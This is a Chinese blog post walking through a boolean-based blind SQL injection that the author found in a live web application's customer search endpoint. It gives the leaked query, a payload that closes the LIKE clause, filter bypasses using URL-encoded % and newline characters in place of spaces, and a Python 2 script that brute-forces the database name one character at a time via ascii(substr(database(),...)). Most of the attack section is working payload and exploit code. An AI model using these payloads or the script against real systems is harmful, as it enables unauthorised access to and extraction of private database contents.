经过上一篇的良好反馈,我正好在项目中发现了这个布尔型漏洞,就编写了本篇文章,主体格式一样,但内容针对不同,下次看看在弄个什么的PY交易好,让我再想想。
在这次的测试过程中发现了一个注入点,通过测试发现返回包内包含了sql语句,确认可以注入,开始了这次的注入尝试。
首先我们可以确认这是一个GET型数据调用,本以为是简单的报错注入,应该可以直接利用sqlmap进行漏洞的利用,但现实狠狠的给了我一个耳光。sqlmap根本法利用这个漏洞,但返回的数据包中实打实出现我数据库语句,所以我把返回的数据库语句拿出来,开始了一点点的构造进程。
复制出来的数据库语句:
SELECT count(0) FROM customer c WHERE c.dealership_id = ? AND c.active = true AND (c.full_name LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub1 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub2 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%')
经过实验,发现报错内容不同,可说明与参数确实可以影响数据库语句。但返回的内容需要进行闭合而且返回内容不可以利用,所以可以排除报错等类型注入形式,可以探测的注入类型就仅剩下两种了:时间型盲注,布尔型盲注直接在目标后加入测试语句。
构造数据库语句:
%’){测试语句}AND(c. full_name like ‘%test
返回成功,实现语句闭合(此外利用了数据库模糊查询like %%),在测试过程中发现存在过滤,单独%无法通过,空格无法通过,系统会返回404,针对之前爆出的数据库语句,利用%25和%20绕过对对单独%和空格的过滤构造出以上的数据库语句完成语句的闭合,成功返回200,确认可以返回正常数据包,并可以根据数据库语句的正确来进行布尔型盲注测试。
接下来确认测试语句
27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test
按位截取的形式进行匹配,确认数据库名称
利用python的数据包发送来批量测试目标内容
和时间型盲注不同,布尔型盲注要根据返回数据包的不同来确认问题
%0a(ascii(substr(database(),{1},1))={0})%0a
利用find函数来查找返回的数据特征,判断是否成功得到注入数据
# coding:utf-8
import requests
import datetime
import time
headers = {
头信息,自己添加
}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@_.'
database = ''
for j in range(1,11):
for i in range(49,125):
Url = 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxx/find?pageNo=1&pageSize=20&searchWord=1%25%27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test'
UrlFormat = Url.format(i,j) #format()函数使用
r = requests.get(UrlFormat,headers=headers)
d = r.content.find("Test") #利用find函数来查找返回的数据特征,判断是否成功得到注入数据
if d != -1:
print(i)
print chr(i)
database += chr(i)
print database
break
else:
pass
对于代码的未来,有如下的想法
1.加入数据包直接调用的功能 2.针对0值永真的修改 3.进行线程上的优化 4.编写GET方法的代码 5.进行整体代码的逻辑重构(这个是吹NB)